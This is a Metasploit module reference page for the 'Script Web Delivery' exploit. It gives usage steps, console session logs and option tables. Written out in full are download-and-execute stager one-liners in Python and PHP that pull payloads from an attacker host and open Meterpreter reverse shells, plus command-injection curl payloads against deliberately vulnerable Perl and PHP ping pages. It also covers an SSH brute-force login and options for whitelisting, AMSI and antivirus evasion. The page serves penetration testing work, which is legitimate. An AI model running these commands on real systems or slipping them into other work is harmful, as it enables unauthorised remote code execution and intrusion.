Script Web Delivery - Metasploit


This page contains detailed information about how to use the exploit/multi/script/web_delivery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Script Web Delivery
Module: exploit/multi/script/web_delivery
Source code: modules/exploits/multi/script/web_delivery.rb
Disclosure date: 2013-07-19
Last modification time: 2021-05-20 17:17:17 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, PHP, Python, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module quickly fires up a web server that serves a payload. The module will provide a command to be run on the target machine based on the selected target. The provided command will download and execute a payload using either a specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique to bypass application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Similarly, the pubprn target uses the pubprn.vbs script to request and execute a .sct file. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe Microsoft signed binary to request and execute a PowerShell script. This technique only works on Windows 10 builds <= 1709. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded and executed.

Module Ranking and Traits

Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > exploit

Knowledge Base

Introduction

The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.

The web_delivery module supports three different languages for delivery: Python, PHP, and Powershell. You should manually select the correct target based on the victim environment you are exploiting.

For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.

Verification Steps

To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:

  1. Start msfconsole
  2. Run: use exploit/multi/script/web_delivery
  3. Run: set target 1 (1 is PHP. You can use show targets to see other options)
  4. Run: set PAYLOAD php/meterpreter/reverse_tcp (You can do show payloads to see what options are suitable for the target)
  5. Run: set LHOST IP (The IP the payload should connect back to)
  6. Do: run
  7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
  8. Copy the command. Depending on your pentesting scenario, you can either inject the command into a vulnerable application, or run it from the target's shell and get a session:
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 192.168.2.134
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600

Targets

Python

Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.

PHP

PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.

Powershell/Windows

Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.

Scenarios

Against a compromised web application

web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:

  1. Start exploit/multi/script/web_delivery
  2. Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
  3. If the modified HTTP/HTTPS request is successful, you should get a session.

Shell upgrade

web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:

  1. Start exploit/multi/script/web_delivery that generates the command to inject.
  2. Interact with the shell, and copy/paste the command.
  3. You should get a Meterpreter session.

An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through auxialiary/scanner/ssh/ssh_login, and then upgraded via web_delivery.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > run

[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...

python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
[*] 192.168.2.156    web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.156
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500

^Z
Background session 1? [y/N]  y

msf exploit(web_delivery) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : Ubuntu14
OS           : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
Architecture : x64
Meterpreter  : python/linux
meterpreter >

Vulnerable Pages

Perl cgi

These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.

Setup

In this example, we make a post form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.

  1. Enable cgi: a2enmod cgid
  2. mkdir /var/www/cgi-bin
  3. Enable folder for cgi execution: add ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/" to /etc/apache2/sites-enabled/000-default.conf inside of the VirtualHost tags

  4. Create the vulnerable page by writing the following text to /var/www/cgi-bin/example.pl:

    #!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/html"),
  $query->start_html();
$query->import_names( 'Q' );
if ( $Q::ip ) {
  print `ping -c 1 $Q::ip`, "
    ";
}
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
  $query->p("Enter IP to ping:"),
  $query->textfield(-name=>"ip"), #, -id=>"ip"),
  $query->submit(-name=>"submit"),
  $query->end_form(),
  $query->end_html();

  5. Make it executable: chmod +x /var/www/cgi-bin/example.pl

We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.

curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"

or via GET request:

curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit" (note url encoding)

<!DOCTYPE html
    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
www-data

<form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping">
Enter IP to ping:
<input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>

Exploitation

  1. use exploit/multi/script/web_delivery
  2. set lhost 192.168.2.117
  3. exploit
    [*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/vNPlsjE [] Local IP: http://192.168.2.117:8080/vNPlsjE [] Server started. [] Run the following command on the target machine: python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());" msf exploit(web_delivery) > Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful. [] 192.168.2.117 web_delivery - Delivering Payload [] Sending stage (38500 bytes) to 192.168.2.117 [] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500

or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:
msf exploit(web_delivery) > exploit [*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [] Server started. [] Run the following command on the target machine: python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" [] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 [] 192.168.2.117 web_delivery - Delivering Payload [] Sending stage (38500 bytes) to 192.168.2.117 [*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500 100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233 100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit msf exploit(web_delivery) > sessions -l

Active sessions

Id Type Information Connection

4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)

PHP

In this example we make a post form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.

  1. Enable cgi: a2enmod php7.0
  2. Create the vulnerable page by writing the following text to /var/www/html/example.php:

      if ($_POST["ip"]){
        print( shell_exec('ping -c 1 '.$_POST["ip"]) . "
");
      }
      print("<form method=\"post\"
             action=\"/example.php\"
             enctype=\"application/x-www-form-urlencoded\"
             name=\"ping\">
             
Enter IP to ping:
<input type=\"text\" name=\"ip\" value=\"\" />
             <input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");

We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.

curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"


    PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
www-data

<form method="post"
             action="/example.php"
             enctype="application/x-www-form-urlencoded"
             name="ping">
             
Enter IP to ping:
<input type="text" name="ip" value="" />
             <input type="submit" name="submit" value="submit" /></form>  </body>

Exploitation

  1. use exploit/multi/script/web_delivery
  2. set lhost 192.168.2.117
  3. set target 1
  4. set payload php/meterpreter/reverse_tcp
  5. exploit
    [*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/de3uw0 [] Local IP: http://192.168.2.117:8080/de3uw0 [] Server started. [] Run the following command on the target machine: php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));" msf exploit(web_delivery) > Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful. [] 192.168.2.117 web_delivery - Delivering Payload [] Sending stage (33986 bytes) to 192.168.2.117 [] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500

or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:
msf exploit(web_delivery) > exploit [*] Exploit running as background job.

[] Started reverse TCP handler on 192.168.2.117:4444 [] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp [] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp [] Server started. [] Run the following command on the target machine: python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" [] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344 [] 192.168.2.117 web_delivery - Delivering Payload [] Sending stage (33986 bytes) to 192.168.2.117 [*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500 100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit

Go back to menu.

Msfconsole Usage

Here is how the multi/script/web_delivery exploit module looks in the msfconsole:

msf6 > use exploit/multi/script/web_delivery

[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show info

       Name: Script Web Delivery
     Module: exploit/multi/script/web_delivery
   Platform: Python, PHP, Windows, Linux, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-07-19

Provided by:
  Andrew Smith "jakx" <[email protected]>
  Ben Campbell <[email protected]>
  Chris Campbell
  Casey Smith
  Trenton Ivey
  g0tmi1k
  bcoles <[email protected]>
  Matt Nelson
  phra
  Nick Landers

Available targets:
  Id  Name
  --  ----
  0   Python
  1   PHP
  2   PSH
  3   Regsvr32
  4   pubprn
  5   SyncAppvPublishingServer
  6   PSH (Binary)
  7   Linux
  8   Mac OS X

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module quickly fires up a web server that serves a payload. The 
  module will provide a command to be run on the target machine based 
  on the selected target. The provided command will download and 
  execute a payload using either a specified scripting language 
  interpreter or "squiblydoo" via regsvr32.exe for bypassing 
  application whitelisting. The main purpose of this module is to 
  quickly establish a session on a target machine when the attacker 
  has to manually type in the command: e.g. Command Injection, RDP 
  Session, Local Access or maybe Remote Command Execution. This attack 
  vector does not write to disk so it is less likely to trigger AV 
  solutions and will allow privilege escalations supplied by 
  Meterpreter. When using either of the PSH targets, ensure the 
  payload architecture matches the target computer or use SYSWOW64 
  powershell.exe to execute x86 payloads on x64 machines. Regsvr32 
  uses "squiblydoo" technique to bypass application whitelisting. The 
  signed Microsoft binary file, Regsvr32, is able to request an .sct 
  file and then execute the included PowerShell command inside of it. 
  Similarly, the pubprn target uses the pubprn.vbs script to request 
  and execute a .sct file. Both web requests (i.e., the .sct file and 
  PowerShell download/execute) can occur on the same port. The 
  SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe 
  Microsoft signed binary to request and execute a PowerShell script. 
  This technique only works on Windows 10 builds <= 1709. "PSH 
  (Binary)" will write a file to the disk, allowing for custom 
  binaries to be served up to be downloaded and executed.

References:
  https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html
  https://www.pentestgeek.com/2013/07/19/invoke-shellcode/
  http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/
  https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
  https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
  https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
  https://iwantmore.pizza/posts/amsi.html
  https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
  https://lolbas-project.github.io/lolbas/Scripts/Pubprn/

Module Options

This is a complete list of options available in the multi/script/web_delivery exploit:

msf6 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Python

Advanced Options

Here is a complete list of advanced options supported by the multi/script/web_delivery exploit:

msf6 exploit(multi/script/web_delivery) > show advanced

Module advanced options (exploit/multi/script/web_delivery):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   ContextInformationFile                                   no        The information file that contains context information
   DisablePayloadHandler                   false            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false            no        Use the default template in case the specified one is missing
   EXE::Inject                             false            no        Set to preserve the original EXE function
   EXE::OldMethod                          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable template
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding                   false            no        Use transient context when encoding payloads
   ListenerComm                                             no        The specific communication channel to use for this service
   MSI::Custom                                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   PSH-AmsiBypass                          true             yes       PSH - Request AMSI/SBL bypass before the stager
   PSH-AmsiBypassURI                                        no        PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)
   PSH-EncodedCommand                      true             yes       PSH - Use -EncodedCommand for web_delivery launcher
   PSH-ForceTLS12                          true             yes       PSH - Force use of TLS v1.2
   PSH-Proxy                               true             yes       PSH - Use the system proxy
   PSHBinary-FILENAME                                       no        PSH (Binary) - The filename to use (Will be random if left blank)
   PSHBinary-PATH                                           no        PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               true             yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Payload advanced options (python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false            no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/script/web_delivery module can exploit:

msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   pubprn
   5   SyncAppvPublishingServer
   6   PSH (Binary)
   7   Linux
   8   Mac OS X

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/script/web_delivery exploit:

msf6 exploit(multi/script/web_delivery) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/pingback_bind_tcp                              normal  No     Python Pingback, Bind TCP (via python)
   17  payload/python/pingback_reverse_tcp                           normal  No     Python Pingback, Reverse TCP (via python)
   18  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   19  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   20  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   21  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options

Here is the full list of possible evasion options supported by the multi/script/web_delivery exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/script/web_delivery) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unexpected request for .sct file

Here is a relevant code snippet related to the "Unexpected request for .sct file" error message:

213:	      when 'pubprn'
214:	        data = gen_pubprn_sct_file(psh)
215:	      when 'Regsvr32'
216:	        data = gen_sct_file(psh)
217:	      else
218:	        print_error('Unexpected request for .sct file')
219:	      end
220:	
221:	      send_response(cli, data, 'Content-Type' => 'text/plain')
222:	      return
223:	    end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • Andrew Smith "jakx" <[email protected]>
  • Ben Campbell
  • Chris Campbell
  • Casey Smith
  • Trenton Ivey
  • g0tmi1k
  • bcoles
  • Matt Nelson
  • phra
  • Nick Landers

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.